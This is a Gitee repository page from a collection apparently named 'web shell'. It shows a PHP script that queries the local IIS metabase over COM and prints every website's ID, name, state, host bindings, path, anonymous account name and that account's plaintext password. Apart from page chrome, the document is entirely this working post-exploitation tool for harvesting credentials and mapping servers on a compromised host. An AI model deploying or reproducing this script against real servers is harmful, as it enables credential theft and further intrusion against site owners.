Ai
1 Star 0 Fork 0

alpha/web shell

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
克隆/下载
php读取iis.txt 942 Bytes
一键复制 编辑 原始数据 按行查看 历史
tennc 提交于 2013-06-20 09:50 +08:00 . update net-friend
<?php
$ObjService = new COM("IIS://localhost/w3svc");
foreach ($ObjService as $obj3w) {
if(is_numeric($obj3w->Name)){
$webSite=new COM("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
echo "[ID ] " .$obj3w->Name.'</br>';
echo "[NAME ] " .$obj3w->ServerComment.'</br>';
$state=intval($obj3w->ServerState);
if ($state==2) {
echo "[STATE ] running".'</br>';
}
if ($state==4) {
echo "[STATE ] stoped".'</br>';
}
if ($state==6) {
echo "[STATE ] paused".'</br>';
}
foreach ($obj3w->ServerBindings as $Binds){
echo "[HOST ] " .$Binds.'</br>';
}
echo "[USER ] " . $webSite->AnonymousUserName.'</br>';
echo "[PASS ] " . $webSite->AnonymousUserPass.'</br>';
echo "[PATH ] " . $webSite->path.'</br>';
echo "-------------------------------------------".'</br>';
}
}
?>
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
PHP
1
https://gitee.com/ruichow/web-shell.git
git@gitee.com:ruichow/web-shell.git
ruichow
web-shell
web shell
master

搜索帮助